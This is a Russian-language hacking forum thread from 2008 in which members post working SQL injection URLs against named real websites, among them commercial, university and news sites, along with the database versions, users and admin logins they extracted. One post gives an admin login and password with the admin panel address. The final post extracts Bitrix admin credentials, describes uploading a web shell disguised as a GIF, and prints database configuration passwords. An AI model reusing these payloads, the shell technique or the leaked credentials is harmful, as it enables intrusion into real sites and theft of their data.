HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6041  
Старый 18.07.2008, 21:21
Calcutta
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
С нами: 9875796

Репутация: 770
По умолчанию

http://kadabraabra.info/newslenta.php?men=4573+union+select+1,2,concat_ws( 0x3a,table_name),4,5,6,7+from+information_schema.t ables+limit+0,1--

скорость до сайта ужасная, раскручивать очень долго Х_х
 
Ответить с цитированием

  #6042  
Старый 18.07.2008, 21:34
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию

http://www.etc-llibres.com/pg.php?id=1&ic=-1/**/union/**/select/**/concat(user(),char(0),database(),char(0),version() ),2/*
http://www.screenroom.co.uk/php/id.asp?id=1/**/or/**/1=(select%20db_name())--
http://www2.mat.dtu.dk/people/uk.php?id=-1/**/union/**/select/**/1,user()--
 
Ответить с цитированием

  #6043  
Старый 18.07.2008, 22:36
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

Ian.cc - PR 4
Цитата:
http://www.ian.cc/notas/noticias_ian.php?id=-557+union+select+1,2,3,unhex(hex(version())),5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36/*

Последний раз редактировалось sabe; 18.07.2008 в 22:56..
 
Ответить с цитированием

  #6044  
Старый 19.07.2008, 20:22
Zircool
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
С нами: 10628635

Репутация: 78
По умолчанию

ucluba.ru

Цитата:
http://afisha.ucluba.ru/viewEvent.php?e=-1+union+select+1,2,3,concat(login,char(58),passwor d),5,6+from+admin_users+limit+0,1/*
Crazy:667788 - логин и пароль админа.
Админка находится по адресу.

Цитата:
http://ucluba.ru/admin.php
 
Ответить с цитированием

  #6045  
Старый 19.07.2008, 23:25
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию

_http://ks.intercom.ru/news/?id=-75+union+select+1,2,3,version(),5,6/*
version() - 4.0.17
user() - intercom@localhost
database() - intercom
 
Ответить с цитированием

  #6046  
Старый 20.07.2008, 14:10
%00
Новичок
Регистрация: 06.05.2008
Сообщений: 27
С нами: 9480984

Репутация: 132
По умолчанию

www.castlerockgc.co.uk pr 3
Код:
http://www.castlerockgc.co.uk/index.php?id=-10/**/union/**/select/**/1,2,version(),4/*
4.1.22-standard
 
Ответить с цитированием

  #6047  
Старый 20.07.2008, 16:26
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию

EDU

Цитата:
http://ae.msstate.edu/site/pages/department/curriculums.php?q=-5+UNION+SELECT+1,concat_ws(char(58),user(),version (),database()),3/*
Database Version: 4.0.20-max
Database name: ae_webpage
User name: webpage@localhost

побрутил таблицы, ничего не брутанулось обычным словарем.
 
Ответить с цитированием

  #6048  
Старый 21.07.2008, 03:22
tor4)
Познающий
Регистрация: 27.05.2008
Сообщений: 51
С нами: 9450895

Репутация: 41
По умолчанию

cms bitrixs

http://www.romantrahtenberg.ru/


http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5,6,7,8,9,10,11,version (),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32/*

Цитата:
4.1.20
Подобрать не получилось, (((
 
Ответить с цитированием

  #6049  
Старый 21.07.2008, 03:37
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
С нами: 10263663

Репутация: 1559


По умолчанию

Цитата:
Сообщение от tor4)  
cms bitrixs

http://www.romantrahtenberg.ru/


http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5,6,7,8,9,10,11,version (),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32/*



Подобрать не получилось, (((
там 5 колонок

Код:
http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5/*
 
Ответить с цитированием

  #6050  
Старый 21.07.2008, 04:43
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию

гы этж битрикс.... ))
прева b_ , таблы login и пассворд


_http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,AES_DECRYPT(AES_ENCRYPT(CONCAT((SELECT+CON CAT(login,char(59),password)+FROM+b_user+LIMIT+0,1 )),0x71),0x71),18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32/*

Цитата:
admin;5d93ceb70e2bf5daa84ec3d0cd2c731a;qwer1234
Валим в админку .... и через смалики на форуме заливаемс элегантный шелленг:

_http://www.romantrahtenberg.ru/bitrix/images/forum/icon/mod_abble.php.gif


конфиги:

Цитата:
$DBHost = "localhost";
$DBLogin = "trax";
$DBPassword = "8gB1Q83N";
$DBName = "trax";

Последний раз редактировалось slider; 21.07.2008 в 04:48..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.